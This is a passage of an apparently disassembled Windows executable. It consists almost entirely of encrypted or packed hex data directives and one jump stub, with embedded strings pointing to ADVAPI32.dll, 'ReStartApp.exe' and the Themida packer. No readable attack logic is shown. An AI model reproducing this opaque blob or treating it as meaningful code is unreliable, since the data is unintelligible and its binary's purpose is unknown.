4EBBF891h, 6F4FF08h, 944D498h, 0A9980593h dd 3538F9h, 0FAB33D38h, 1097B14Ah, 2CFCDD8h, 0A1DF56C6h dd 6460E02Dh, 8B4831E7h, 5BB62210h, 331821FDh, 479F6069h dd 63834D00h, 0D91FB961h, 105A00B4h, 0FD14B053h, 57696D11h dd 40584279h, 5CFB6408h, 8E0C5807h, 3408E6B0h, 0B5CC75Ch dd 0C866AF51h, 763AF13Ch, 5BF20737h, 0E779A5BEh, 403F9103h dd 9498FEEEh, 98F64DFEh, 0AB00D9E8h, 0B86808CDh, 171CBCC7h dd 32E5ED5Bh, 0F4C261DCh, 0BD9388C0h, 3AB88E00h, 0F41FC59Bh dd 9483395Dh, 510D5780h, 3EA16EC2h, 0E97E8D00h, 74C5B5EFh dd 0BC877F3Ah, 9297407Ch, 0D2004224h, 0BD6C7033h, 3D8CA3DDh dd 6809B37Ch, 6082ADDEh, 8C28094Fh, 21F4D11h, 64E14B38h dd 0F7CD4402h, 2E888660h, 508CD759h, 5F022DE8h, 946D3715h dd 0C8D1F1h, 3155134Dh, 48021E9Ch, 0F304BA7Fh, 773CC0D6h dd 7CE133Ch, 3A2CA269h, 17149D2Fh, 34C28F3Ah, 1200720Bh dd 86387EBAh, 1D6A0EF1h, 6020CD53h, 0A1F3FD4Eh, 0D790CCA3h dd 50C4C8D5h, 0B480FEE2h, 99E5E05Dh, 0B5AA0334h, 0A0E86A44h dd 4B0E32B4h, 1D8FBAh, 0BCDD2C4Dh, 0D024F9E4h, 0E1F8E5h dd 466813BBh, 4C6A1495h, 0CB4FFCA4h, 0E2E17832h, 3B2C4168h dd 0A87A828h, 0F68E907Bh, 0F70091C1h, 7699CD78h, 11C0E9ECh dd 7A8E51Ch, 5441C7D3h, 0F8DDDB10h, 0AC600311h, 0A2457A67h dd 3699CCB8h, 3000FCB1h, 9D28B848h, 8D6E0020h, 90D726FEh dd 0D6044AD9h, 1186049Ch, 9E801CF8h, 0F16206C9h, 494903Ah dd 96F1F3Bh, 0C575F8C0h, 0E3860135h, 394E2C9Ah, 58A0CB17h dd 4B5C6A0Dh, 98C88960h, 0E6A008h, 0E0995874h, 10CCC5F0h dd 549403E8h, 90EAFB40h, 7DA20BD4h, 0A804BC23h, 7C4252D2h dd 0F02AAC20h, 40DCB610h dd 7BE36BF2h, 76448E4Ch, 0FE482890h, 52F9C08Ch, 7D3BC79h dd 0E3DCDB78h, 0A692C042h, 0B2127D9Bh, 20C8F397h, 0F1B81DB3h dd 4CC6C0Bh, 0A88F3768h, 10492D44h, 5CB18h, 16CAB6E7h dd 7B4EFB24h, 36DA3130h, 7489EDDh, 0CEAE7F30h, 0A160E0B8h dd 0A8B94B6Bh, 7768100h, 31D0E516h, 5AA9B7F1h, 0ABDEF08Fh dd 74EB6B12h, 0F500D0B2h, 0B26053ADh, 55003277h, 40D3C3D1h dd 989E57B6h, 7F6404B0h, 40D043FEh, 0FD0DF782h, 0D40C0066h dd 0BA6A3349h, 7924CF38h, 9413C0C5h, 44E4BC89h, 0B1191D04h dd 4014EE67h, 0EC88B4Ah, 0C0D8F558h, 0AB602EE9h, 18547453h dd 80AA8002h, 0F52EA835h, 9380CD6h, 2C231Ch, 5F366BF0h dd 4514806h, 8DC3DE80h, 40A85205h, 0FF0F9918h, 453F85BDh dd 48C04ED1h, 0E26237h, 318FEEBBh, 0BD85608h, 0C7FA4090h dd 0F1D6870Bh, 5A5C0092h, 4C8CD917h, 0CC272330h, 82490868h dd 748118B9h, 7D8FCDFDh, 8CF83ECDh, 2D55003Bh, 0A3634537h dd 6D09E3F6h, 27D87ED1h, 89C75E8h, 9634B128h, 713B00CFh dd 0BD66160Eh, 0E1DA9A00h, 4C379F51h, 0FE97B10h, 4E7F6CF6h dd 2F1DDE1Eh, 0F86AAC20h, 0E600A3E3h, 0EEEBE5FCh, 17790F9h dd 0D9EF23D6h, 3309D0F2h, 0C0E40110h, 471B3354h, 7FB9E884h dd 0E3A8E4E5h, 8F384100h, 8AF00923h, 90C44C2Fh, 33E15409h dd 80F52890h, 4546AD0Eh, 0D54FA06Bh, 3B13C35Bh, 0E1F6A057h dd 1FD85870h, 0CBEEF4AFh, 8C1ABBF0h, 7F05CCE8h, 0FF188900h dd 81C4A937h, 6B31054Eh, 2F5CB90h, 3EEE9BB8h, 7D007872h dd 5B58693Bh, 9F16B79h, 3ED8175Ch, 1363E810h, 0E4406715h dd 0B5E50BB0h, 44D00EEEh, 5CCCBAC5h, 87E600A5h, 993CCA3Dh dd 51007F2Eh, 0E91B8279h, 0AB2A33h, 2DCD44CEh, 0D683DBF5h dd 0B2376E1Dh, 54ADEFC7h, 0E147B0C2h, 0D9A7A02Dh, 0E2008844h dd 8693ADD2h, 0EADB37h, 8DA0CA4Dh, 2A4E0D42h, 0A1882D03h dd 900BE153h, 99550640h, 0A8662590h, 0EE0BD609h, 8F10998Ah dd 4234383Bh, 0E3850A1Fh, 0E030C084h, 468068F8h, 3A4BE593h dd 0C06C7358h, 3BF0F182h, 0B3FC0039h, 3F43A0C8h, 1716C0EEh dd 0D8080626h, 0E98D8FC4h, 5FE2CA0h, 593BFA5Ch, 565880E3h dd 0AFEDC341h, 141808E8h, 9E802F50h, 8DA9580h, 0AE780040h dd 0D451F5F0h, 0C30F7112h, 164D72FAh, 973EEC48h, 97B4D0E4h dd 2F00F876h, 2E1F9B0Fh, 3E179Ah, 395EDBA6h, 0EA49153Bh dd 11E81405h, 20087251h, 98780CDh, 0D52CD43Ch, 0E1020705h dd 18E45511h, 4DB12CB5h, 0C8441290h, 2C12C390h, 0CCA44055h dd 0C9105EFh, 0C2A18538h, 82F58166h, 59EBD0E5h, 1B3B8078h dd 18C3D630h, 4A859C00h, 0E1DBEE1Ch, 0A09A2Dh, 0B44E3029h dd 0A50547CDh, 0E4D1A217h, 0C00614C1h, 0C49F5870h, 0A4353689h dd 310057E0h, 6019D28Dh, 79D391B0h, 0FA7005F5h, 80FC4D25h dd 6F67890h, 86D8670Bh, 0CFB091CEh, 5024E083h, 7AA0DBBCh dd 9171E7D0h, 72639300h, 0E505F58Fh, 0EF31C0C3h, 667B94D0h dd 15445500h, 0B825B48Ch, 58AD649Fh, 1D2E47A2h, 0F33F606Eh dd 0E45DCCB4h, 1FE70056h, 3E8D13AFh, 74F5F4Ah, 0B6E0C8h dd 0F9C55DC3h, 93F08951h, 0D1E2CF0Ah, 0B008C03Ch, 14A40Ah dd 0CFE71497h, 5494A1D5h, 0DFB02E40h, 0F232000Fh, 0CC7DEAF1h dd 6009DD39h, 0E457155Ch, 0FF0F07C8h, 1BDFABh, 5BD8EA4Ah dd 0E96ED900h, 9D5E203h, 0F8C9CBCCh, 96F10400h, 4400BFCBh dd 5A611101h, 0EEDC751h, 0B01CB31Bh, 0DA8078E9h, 0AD03D263h dd 82396FEAh, 0E07F8037h, 19015061h, 1108C055h, 94BF12EBh dd 215DAC00h, 0CA6181C8h, 196A00A9h, 0DD9C9622h, 4407B7CCh dd 1786E9F8h, 9B5F18E0h, 1985E4B5h, 88740D59h, 87697150h dd 35C6A361h, 9B1222A0h, 0FDC7ABBh, 0A6174246h, 0B59120C0h dd 0F860A92Bh, 82303531h, 726005C2h, 81B158E2h, 8C0A7D87h dd 0B15C1E21h, 0C0181FA5h, 7F00FD60h, 15E525FFh, 6D03BACEh dd 0F359C904h, 0A910076h, 212DA25Ch, 5154E4ECh, 0DB003E98h dd 39313BE6h, 74E5EB91h, 615E600Ah, 0E76FB43h, 3F030BE8h dd 0D5BC325Ch, 4920E7E2h, 0E69EE090h, 3D6ECB6h, 6F1FD365h dd 0A914E5F7h, 634E3ECh, 5A620A31h, 3410059h, 0DDEE692Eh dd 4205B997h, 9A540A30h, 0C1EB8FC0h, 0B64600C0h, 2EBA9F59h dd 7E0E3E41h, 58E8712Ch, 0F236D1h, 6ADF65ABh, 5CB9B1CAh dd 35599A00h, 397F5B63h, 78700BCh, 0C96B2AF7h, 21E9E99Fh dd 0C1418024h, 0E22D4F0Ah, 0BBE0C0B8h, 0A8490893h, 31B0A500h dd 0EC7301F8h, 7F6705CEh, 201E5163h, 72F0168Ch, 0D5A0381Ch dd 0F6415130h, 20F9000Bh, 4502DA6Bh, 0BE7CE12Ah, 39561B30h dd 75F1510Bh, 62FF00A2h, 63BB8648h, 0D230BA92h, 35F34966h dd 0C8E00003h, 20325E25h, 1200A5E5h, 86828C57h, 905C0B08h dd 87E74408h, 0F99B2700h, 2383E01Eh, 60EB0188h, 0F65C4ED2h dd 59BEFDh, 3220B75Fh, 24A84D87h, 64BD45h, 74F8B34h, 1B079805h dd 712FDA6Fh, 787B0950h, 0BAB8C553h, 3DE44F77h, 4D8BE240h dd 59030A5Bh, 5095CA9Ah, 9997A0D0h, 0D1148046h, 5C25860Ah dd 4A90EFh, 0E051A81Bh, 50174A9Fh, 5C422CB9h, 0C100C992h dd 3B0CE355h, 0A00037A8h, 0D240C8CFh, 6912602h, 1E2E82BAh dd 0A69049B1h, 2A75BE00h, 0D66CDACBh, 0C65000D4h, 8623E65h dd 61CF89B9h, 9F3F618Bh, 5FC0AA6Ch, 0C8A8240Bh, 69B1230h dd 0A977F334h, 43217F18h, 127B320h, 62FB1AE8h, 0EDA92Eh dd 17964901h, 0BEA345h, 33C0682Bh, 0A62421F1h, 0B31D4A6Ah dd 4E18A428h, 62815FBAh, 75450426h, 0C7B068D8h, 2F83C814h dd 15EE0ECh, 4FF83E11h, 32A00BE3h, 24150050h, 0EE58640Dh dd 19B803C6h, 0E8EDFF97h, 0FE8D60E8h, 7F300198h, 0A883110h dd 0F1DA003Fh, 0DD0BFB3h, 2A2808BAh, 7844C82Eh, 686D4C90h dd 4786A901h, 42B41DE1h, 7DE0B088h, 28F4A5AEh, 3D4C7554h dd 0FAFD3Ah, 7640E425h, 0E6E759AFh, 91F2E8A3h, 606424CCh dd 0D1A1345Ch, 0EDAE9000h, 3F522D73h, 8360993Bh, 76CF0E78h dd 0C6BCFBE0h, 4D02A8E0h, 4371093Fh, 0F69C441Eh, 3C950072h dd 2CDE0451h, 8E04A208h, 8B6F53B0h, 44198CC8h, 1E0E085Bh dd 1EC2676Bh, 0A2F85EC0h, 5BFBFCE6h, 3723FCAAh, 0B710D988h dd 0B045DCh, 9F44806Dh, 0F843C05Eh, 10862137h, 483703A2h dd 7F9698Ch, 46F08722h, 296B7123h, 3F0EE47Fh, 5C397E09h dd 0D324100Dh, 9253005Ah, 5F3C07F8h, 7208B75Bh, 0A4E4856Fh dd 919C0C4h, 601AD754h, 9821F4F8h, 8FDF74h, 84C123A2h dd 55421F0Eh, 92F8D4EDh, 0A8C5B624h, 8740B11Dh, 0D756B9D1h dd 5F780198h, 97373094h, 0ADA8F044h, 0B00C0900h, 5C12784h dd 0E139C46Ch, 0E9C488DDh, 0AA00D891h, 565CC2E8h, 0FC1013F1h dd 0D22C066Ah, 370F2105h, 6286E777h, 40570B80h, 337DA62Fh dd 5BC1E2A0h, 398121E7h, 401AD914h, 0B63E8FBDh, 0AEDA0601h dd 5EBBE336h, 0B07A54E1h, 981EE0BEh, 0B1063823h, 0F49F5A0h dd 0D606457Dh, 59FB7441h, 2C56303Bh, 0EDB6DE00h, 84C6521Fh dd 31E163A0h, 55C8FAE2h, 0BC072DE6h, 0B5298C90h, 0D7005C7Eh dd 0FC82F4DAh, 4F8700C2h, 0E25C462Ch, 0F8A0BA78h, 30FCB2D1h dd 0E90BE930h, 9A1DFDh, 95AE6FC7h, 498E24B3h, 9FBFA21Ch dd 7E9C4595h, 98189C00h, 0EBEFFAAAh, 7B600C5h, 46580D60h dd 91036DDEh dd 2331105Fh, 5DE2EF96h, 9FC4A787h, 37B00059h, 494F0DEh dd 0AA154E1h, 0BA98D86Fh, 144D8418h, 0C2604A38h, 0A0A74C28h dd 0B9004C64h, 54B2D0DDh, 14CD76CAh, 0C8A79C1Eh, 21714C0h dd 0E900BEEFh, 0D7918B65h, 30A7DDBDh, 0BFC98DBAh, 0F900C41Ch dd 50FD15FAh, 92106h, 629FE3DFh, 0C930434Fh, 0A935306h dd 31A1B079h, 2C416BB9h, 0C08B3036h, 573C1C7Eh, 1DBEE0h dd 0F1766996h, 7EC58B6h, 432EA24Ch, 0E0333753h, 86FA9BC2h dd 3A1B7401h, 9F1C0FB4h, 36000022h, 5B087754h, 42002549h dd 0E3C72B20h, 17FED63Eh, 1135A4Ch, 0B3429D6h, 9880FEB8h dd 36AF6B99h, 0DFD7AD0Ah, 0B901BCAAh, 6019C2FEh, 0A1434h dd 7F0781C1h, 1D82A374h, 4B89E326h, 0C8000212h, 4EF83F14h dd 6CD8583Ch, 0B2A80C38h, 0CFB601BCh, 0FEDA31A6h, 320291Eh dd 72259071h, 7A06C8F7h, 4C76ECE3h, 422F893h, 9A78CF01h dd 6318C0FEh, 0FB5E3980h, 65B777B8h, 0DC051092h, 59E1EC55h dd 0A921AC44h, 1728A4h, 0CCB6B715h, 711DD03Ah, 6E169D09h dd 53B10177h, 0A87069C9h, 0ACA05D5Ch, 870CE907h, 0FFAC2EB3h dd 0C67FAC89h, 795B4E03h, 0B8CDF10Dh, 94F76009h, 38D14F34h dd 2890018Ah, 0F1C92432h, 4760A30h, 0A6342CBh, 4818A264h dd 0EB160E34h, 0B8ED8DAh, 0A0960031h, 7E17D76Ah, 0FB618A6Eh dd 7328EC61h, 5F0E1ACh, 84DF34h, 0FF2B580h, 0AA2454ECh dd 7B3B7826h, 0B127BC05h, 9E030C50h, 79591E93h, 2C67179h dd 0E12F9989h, 0A8C4B924h, 0D0050ECh, 6B23C1B3h, 1830B8F0h dd 2160BFBCh, 78BD9B62h, 0FC030F4Bh, 7C80479Eh, 0B46AB04h dd 0F4808C91h, 6B58C075h, 82C80FBDh, 0BA0A97E0h, 111198h dd 41D1F388h, 0B1F25CE3h, 89517B4h, 0A8807274h, 6F65BF92h dd 0D81C0160h, 0DD873AAEh, 0FDC70C8h, 0A809042Bh, 0A7E6B280h dd 315C2219h, 47C8F829h, 0ECEC4040h, 38EE78F9h, 0F3F86550h dd 79C095B8h, 431C5A32h, 0D442C87h, 0E03C0350h, 4E80F8C1h dd 924C5921h, 0E9890F40h, 6D0AC6D8h, 3898C9h, 372E7E86h dd 5E2DF818h, 3F0380B0h, 0EF3A8A4Ah, 48D2C023h, 0A06CA3BAh dd 6B40FBFh, 5D8ED592h, 0F200A08Ah, 0D8E791DAh, 0F0962CD3h dd 0C050430h, 0A4896F39h, 9D036B60h, 0BA9EBFEEh, 8F51008Ch dd 403CB13h, 0F218BD3Fh, 0BCA1F68h, 720AF89Bh, 586750B9h dd 0C3E97741h, 0F099C6F9h, 3A8F0EFh, 0EC00225Bh, 0DF957B76h dd 1EAC5166h, 0E2438Ah, 0BFF9425Ch, 0AD020590h, 9C17FCDBh dd 0A650600Ah, 634901F8h, 0DDAFA068h, 14B040A3h, 881E6B0Bh dd 6C142A12h, 0D1007A40h, 0BAE53343h, 69D91C1h, 0E3E19C19h dd 0F226D15Bh, 0B8301C95h, 60E9F05Ch, 0F7ADB16Dh, 5F010503h dd 0B498825Ah, 77F83BE5h, 62F8011Eh, 0C7BB954Ch, 44ADC8CFh dd 0D4CE5C2Eh, 0DD84B101h, 0E86094B8h, 0E1F03FE9h, 0A04BE709h dd 2B003C44h, 66B52F4Eh, 1946FCCh, 69F54004h, 2D93091Bh dd 85C17C8h, 37E5C20h, 0A0B018E0h, 7F2AE1F9h, 90C96424h dd 1026D51Fh, 73E99F40h, 0F6E256h, 0FECE41BCh, 0C579AA03h dd 68EAA81Fh, 843ED0C1h, 2821224Fh, 880A5889h, 494A7010h dd 0AC840B13h, 94F50C09h, 62BE003Ch, 99D4B9E6h, 0AA7E3566h dd 5C37DB01h, 63930A0Ch, 2FB04B13h, 33497678h, 1428B64h dd 0B24A05ACh, 0E0F9E034h, 5DEC049Fh, 0F5E4E199h, 3BF8331Ch dd 0EEA5832Eh, 0A02715D0h, 127ED977h, 52C4Bh, 0D2B4ABC8h dd 0E01736E2h, 0F0073B4Fh, 0C08678B0h, 0BB420020h, 0BAD03FB7h dd 0FE60E81Bh, 6AF89C59h, 0C7800066h, 31DE4A2Ch, 8E250AADh dd 20089ACBh, 0E2EBAE8h, 80B8B909h, 41B8C8D3h, 0B400E188h dd 706456A3h, 39627BEh, 0C639E008h, 0C1C40624h, 6030C89Ch dd 438A7420h, 64BAFAB0h, 0F888017Ch, 0C44427D3h, 0B06BF879h dd 1A695C00h, 0BE49D447h, 0D2F8010Ah, 0E9DCD0B8h, 5801E361h dd 57AD182h, 0F429A0BDh, 0EF660800h, 0C52EC931h, 4432D20Fh dd 6CAE2FBh, 3B50E654h, 1C8052E3h, 4B34C333h, 0D616C49Ah dd 0D8002C7Eh, 444C8443h, 8780A090h, 17E406DAh, 41FEA073h dd 861FD239h, 5829C819h, 80B0E8h, 9D06DACEh, 6D716E05h dd 0DCACF026h, 8E34AE60h, 92B23DD9h, 8F9ACE81h, 602E41E2h dd 6A88615Ch, 1CC5202h, 60FBFFFFh, 0 db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_52D4F5: ; CODE XREF: start:loc_4D3265j ; DATA XREF: start:loc_4D3086o jmp loc_530856 ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- dd offset byte_5640BD align 10h dd 20000h, 6 dup(0) dd 6C7B0000h, 0FED1h, 0 dd 92340000h, 9Eh, 2 dup(0) dd 0D5BC0000h, 55h, 2 dup(0) dd 91FD0000h, 0 dd 880000h, 4 dup(0) dd 28CC0000h, 4521h, 0 dd 7E20000h, 53h, 0Ch dup(0) dd 61EC0000h, 0C09C0057h, 59740058h, 9B5B8655h, 1250h dd 7 dup(0) dd 0CABF0000h, 1001FEFBh, 2 dup(0) dd 0D5BC0000h, 0DEA60055h, 52h, 0 dd 53DD0000h, 0ADBDh, 0 dd 7FD80000h, 0A0h, 0FDC40000h, 0AC56h, 0 dd 280000h, 74240000h, 59h, 61EC0000h, 57h, 6 dup(0) dd 3A00000h, 2 dup(0) dd 0B2A0000h, 0Ch, 33330000h, 2 dup(33333333h), 3333h dd 3 dup(0) dd 0A0370000h, 67AC009Eh, 56h, 57A0000h, 28300057h, 1CB900B4h dd 59h, 4 dup(0) dd 7D7D0000h, 55h, 5 dup(0) dd 67AC0000h, 56h, 7 dup(0) dd 0D6B60000h, 86330ADFh, 59h, 2 dup(0) dd 0CAE30000h, 2159h, 0 dd 10820000h, 6000h, 0Ch dup(0) dd 67AC0000h, 56h, 41540000h, 0FCFC0058h, 8001h, 9F70000h dd 77FCh, 4 dup(0) dd 75820000h, 6000h, 5 dup(0) dd 10000h, 0Eh dup(0) dd 20000h, 0 dd 819A0000h, 57h, 0CBA60000h, 13430000h, 0FFFF2810h, 34DBh dd 89600000h, 0E995h, 2 dup(0) dd 2AFC0000h, 0A800FEh, 0B7980000h, 0C4C3h, 0Eh dup(0) dd 6F730000h, 0 dd 0BEE90000h, 0FFA9h, 6CB00000h, 9Eh, 6 dup(0) dd 22410000h, 7966h, 0 dd 6CE10000h, 2CA809Ch, 56h, 4 dup(0) dd 800000h, 0 dd 0B00000h, 740000h, 1DC70000h, 270Fh, 0 dd 0C09E0000h, 65AEh, 0 dd 785D0000h, 0B1CAFFA9h, 0CC5700ACh, 0F15767D9h, 56h dd 0Eh dup(0) dd 31A00000h, 1465h, 85h dup(0) dd 7F5D0000h, 3259h, 24240000h, 2424h, 0FFB00000h, 22Eh dd 26350000h, 47A5690h, 5A320000h, 56h, 0 dd 8B650000h, 7DB5h, 500000h, 0FE91h, 2 dup(0) dd 61E90000h, 0E140057h, 53h, 8 dup(0) dd 2FA0000h, 80ADh, 0D3760000h, 3AEDh, 69DD0000h, 9Eh dd 6F730000h, 0D7D00000h, 0D377FF4Bh, 3AEDh, 4 dup(0) dd 0D00000h, 9 dup(0) dd 3E3B0000h, 0FFE0009Eh, 12h, 0 dd 15680000h, 9Fh, 0 dd 5CB50000h, 77E7h, 2 dup(0) dd 35B0000h, 3 dup(0) dd 23E80000h, 7484009Fh, 7FFEh, 10800000h, 8 dup(0) dd 61C80000h, 9BB40000h, 6000h, 21FE0000h, 989Dh, 3 dup(0) dd 773B0000h, 58h, 2 dup(0) dd 0CF580000h, 0ACh, 6 dup(0) dd 0A40000h, 11h dup(0) dd 3040000h, 7FFEh, 915B0000h, 9Eh, 0Ah dup(0) dd 21680000h, 77E8h, 4 dup(0) dd 0FFBE0000h, 57h, 10h dup(0) dd 0FFFF0000h, 0FFFFh, 67AC0000h, 56h, 7 dup(0) dd 0CB1F0000h, 1D0F7h, 5 dup(0) dd 3E680000h, 77E8h, 3 dup(0) dd 22920000h, 0FAB1009Eh, 55h, 4 dup(0) dd 0E00000h, 1DE3h, 0 dd 0BD940000h, 0FFFFh, 0 dd 66D90000h, 80A0h, 5 dup(0) dd 257h, 3 dup(0) dd 72C80000h, 57h, 56A20000h, 3343h, 0 dd 0E0D0000h, 0FFA9h, 0D7060000h, 77E6h, 3 dup(0) dd 700000h, 3 dup(0) dd 0B2320000h, 57h, 0 dd 7D10000h, 4 dup(0) dd 15680000h, 9Fh, 4 dup(0) dd 0E90000h, 10h, 10h dup(0) dd 282A0000h, 0 dd 0A1440000h, 77E7h, 12h dup(0) dd 0BC0000h, 0A13F0000h, 30477E7h, 7FFEh, 0FF300000h, 0FFFFh dd 8 dup(0) dd 0EC7B0000h, 0FFA8h, 0 dd 0B5E20000h, 8A0Fh, 5 dup(0) dd 5ECE0000h, 0FFA7h, 2 dup(0) dd 3040000h, 7FFEh, 2 dup(0) dd 9D710000h, 6C830059h, 12F4FE4Ch, 53h, 17ED0000h, 5Ah dd 4 dup(0) dd 8E750000h, 57h, 3 dup(0) dd 73160000h, 0A0h, 4 dup(0) dd 2380000h, 0AE500040h, 57h, 96D800B5h, 0FFFFh, 0 dd 0F7AB0000h, 57h, 4 dup(0) dd 5E9C0000h, 0DAD3h, 4 dup(0) dd 0FCFC0000h, 0B1348001h, 8000A0h, 3 dup(0) dd 1050000h, 65E40A28h, 56h, 0Bh dup(0) dd 0D5540000h, 9Dh, 0 dd 517B0000h, 0FF605CB3h, 12h, 4 dup(0) dd 0A0990000h, 77E7h, 2 dup(0) dd 51510000h, 57h, 0Ah dup(0) dd 3040000h, 7FFEh, 1B400000h, 76B4h, 7F7E0000h, 7C3Ah dd 7 dup(0) dd 10000h, 2 dup(0) dd 61930000h, 0C890h, 5B4B0000h, 5015h, 1E80000h, 1Ah dd 6 dup(0) dd 3040000h, 7FFEh, 86EF0000h, 2160FD0Ch, 77E8h, 2 dup(0) dd 30DF0000h, 2 dup(0) dd 0F81E0000h, 0FFACh, 3 dup(0) dd 8F5E0000h, 0FFACh, 0Eh dup(0) dd 0DEA60000h, 52h, 10000h, 3 dup(0) dd 15680000h, 8B65009Fh, 7DB5h, 0FF600000h, 12h, 2 dup(0) dd 3040000h, 7FFEh, 0 dd 0AC1A0000h, 0C09Dh, 0 dd 0F510000h, 0E90056h, 10h, 6 dup(0) dd 2DD00000h, 0A5CE0063h, 0FFA9h, 2 dup(0) dd 2C8A0000h, 0FFAAh, 0 dd 13850000h, 57h, 3 dup(0) dd 8C0000h, 0Eh dup(0) dd 72C80000h, 57h, 0AC230000h, 93005242h, 230E0000h, 7594FFAAh dd 66400056h, 569Ch, 2 dup(0) dd 0DC2A0000h, 52h, 6F730000h, 5A320000h, 3040056h, 7FFEh dd 8 dup(0) dd 989C0000h, 0F229h, 2 dup(0) dd 1CE90000h, 59h, 0Ch dup(0) dd 11110000h, 1111h, 8002h, 3 dup(0) dd 95690000h, 3 dup(0) dd 0CF9B0000h, 0D27C359Ah, 0FF7C0057h, 9BAC0059h, 0A0h dd 0 dd 0B96B0000h, 3 dup(0) dd 0A1440000h, 30DF77E7h, 0A9C5h, 2 dup(0) dd 0D9A00000h, 35E5h, 9 dup(0) dd 0FF540000h, 3A430012h, 4E49575Ch, 53574F44h, 7379535Ch dd 336D6574h, 44415C32h, 49504156h, 642E3233h, 6C6Ch, 39h dup(0) dd 69DD0000h, 9Eh, 8 dup(0) dd 1B2B0000h, 77F5h, 0 dd 5910000h, 77E8h, 0Ah dup(0) dd 0FAF00000h, 0FFFDh, 0E5470000h, 989904E4h, 56h, 6F730000h dd 4 dup(0) dd 0FFC40000h, 0CE9D0012h, 50E90057h, 0C9C4h, 0Ah dup(0) dd 2C4A0000h, 5Ah, 0FFFE0000h, 4BF5h, 0 dd 0D8D0000h, 59h, 0 dd 30040000h, 41h, 71570000h, 59h, 0Fh dup(0) dd 409E0000h, 0F15Ch, 8 dup(0) dd 0CF80000h, 56h, 0 dd 0ACEC0000h, 2385242h, 40h, 0E62A0000h, 0F49Bh, 460000h dd 0A8h, 8 dup(0) dd 13000000h, 3 dup(0) dd 10000h, 6 dup(0) dd 0F9B00000h, 0C001Fh, 23Fh, 0 dd 0E40000h, 2E9E0000h, 6552005Ah, 72617473h, 70704174h dd 6578652Eh, 2 dup(0) dd 5EC60000h, 0 dd 8D8D0000h, 40776656h, 35C0000h, 1FFFFh, 3000000h, 0D2CC7FFEh dd 3040059h, 7FFEh, 7 dup(0) dd 0FFBC0000h, 6056h, 5 dup(0) dd 8D460000h, 0FFFFh, 4 dup(0) dd 7FFC0000h, 56h, 6 dup(0) dd 0B4E20000h, 4 dup(0) dd 1FD90000h, 59h, 0 dd 0FFB00000h, 2830019Eh, 0B4h, 78EE0000h, 1443009Eh, 0FD9Fh dd 258h, 0CBA60000h, 0BFFF0000h, 7FFFh, 24h dup(0) dd 77E6h, 3 dup(0) dd 69DD0000h, 9Eh, 3 dup(0) dd 180B0000h, 77F5h, 0Ah dup(0) dd 67880000h, 0 dd 68470000h, 0ECB4h, 2 dup(0) dd 0FD440000h, 4DBFh, 9F70000h, 9Eh, 30DF0000h, 0A9C5h dd 0 dd 1CCD0000h, 94BCD2F4h, 0FAABh, 37780000h, 4DB6h, 0 dd 0F38A0000h, 3A435F4Bh, 755F6D5Ch, 6361706Eh, 72656Bh dd 81h dup(0) dd 25Ah, 4B410000h, 785A0058h, 0FEA2h, 2 dup(0) dd 94000000h, 4220h, 0 dd 0C4860000h, 77E7h, 0 dd 3040000h, 7FFEh, 2 dup(0) dd 51510000h, 57h, 8 dup(0) dd 0FF540000h, 12h, 0Fh dup(0) dd 77F5h, 8 dup(0) dd 28300000h, 7B1D00B4h, 3439h, 8 dup(0) dd 697F0000h, 7E4Eh, 672B0000h, 10000056h, 40h, 56000000h dd 0CA027FFEh, 6B5A0000h, 0BAD5h, 28300000h, 0B4h, 15A00000h dd 91FD0053h, 3 dup(0) dd 0FFB00000h, 0FFB0018Eh, 13Eh, 82AA0000h, 2622h, 5 dup(0) dd 4C890000h, 84ADh, 8 dup(0) dd 4D0B0000h, 70C40059h, 9Eh, 5 dup(0) dd 0B2160000h, 0E30Ah, 4 dup(0) dd 2C000000h, 0Ah dup(0) dd 6BCE0000h, 247h, 4 dup(0) dd 0DC450000h, 226Eh, 3 dup(0) dd 60000h, 4 dup(0) dd 99250000h, 4, 4 dup(0) dd 3040000h, 7FFEh, 2 dup(0) dd 966D0000h, 8DEEh, 2 dup(0) dd 51ED0000h, 0AC0057h, 0 dd 59F00000h, 77DDh, 40000h, 7FBB0000h, 41E508A0h, 6 dup(0) dd 86EB0000h, 67ACFFFFh, 72730056h, 8918h, 5 dup(0) dd 215C0000h, 0C0F00002h, 0 dd 31930000h, 0BF437790h, 0FFA9h, 3 dup(0) dd 5E2E0000h, 9Eh, 0Ah dup(0) dd 52000000h, 3, 4 dup(0) dd 7DEF0000h, 55h, 0Ah dup(0) dd 7E20000h, 0F5E80053h, 0A625h, 3 dup(0) dd 3040000h, 0F2337FFEh, 9Eh, 3000000h, 7FFEh, 0 dd 1860000h, 53h, 79630000h, 77E7h, 2 dup(0) dd 6F730000h, 9F2E0000h, 59h, 2D0E0000h, 5Ah, 0 dd 8C0A0000h, 9Eh, 4 dup(0) dd 0FFFE0000h, 4BF5h, 7FDC0000h, 9DE12873h, 0F34727A4h dd 56h, 0FFF00000h, 12h, 0 dd 3040000h, 5D87FFEh, 77E8h, 3040000h, 17FFEh, 5 dup(0) dd 67BE0000h, 56h, 28h dup(0) dd 21400000h, 2, 0 dd 7FBB0000h, 1, 0Ah dup(0) dd 9Dh, 3 dup(0) dd 489D0000h, 6080DBDh, 8D53FFFCh, 0A2h, 3 dup(0) dd 40000h, 82AE0000h, 56h, 4 dup(0) dd 29D4h, 0 dd 73160000h, 0A0h, 9C0000h, 94CF0000h, 59h, 7 dup(0) dd 68540000h, 64696D65h, 61h, 1Bh dup(0) dd 2AFC0000h, 65000FEh, 0FFA4FFE0h, 12h, 7 dup(0) dd 0E800000h, 5 dup(0) dd 3E0000h, 9Dh, 4D0B0000h, 59h, 0 dd 0A5CE0000h, 0FFA9h, 0 dd 10000h, 50900000h, 69DD0000h, 9Eh, 0 dd 30140000h, 0Dh, 2 dup(0) dd 8B7E0000h, 0FFFFh, 2 dup(0) dd 0CC550000h, 15E0h, 5 dup(0) dd 22D80000h, 9Fh, 0 dd 9F54000Dh, 0BDF30058h, 0EEAFh, 2 dup(0) dd 980000h, 4 dup(0) dd 7AF80000h, 0A541h, 0Ah dup(0) dd 0FF4C0000h, 0FFFFh, 189A0000h, 77DDh, 36h dup(0) dd 5CE50000h, 2 dup(0) dd 3E680000h, 77E8h, 3 dup(0) dd 1B000000h, 288h, 0F4520000h, 52h, 0 dd 10000h, 5 dup(0) dd 5CAC0000h, 56h, 2 dup(0) dd 0B5E20000h, 8A0Fh, 2 dup(0) dd 25090000h, 8630h, 50000000h, 3, 4 dup(0) dd 5A320000h, 56h, 32680000h, 9Fh, 3 dup(0) dd 7FFC0040h, 0 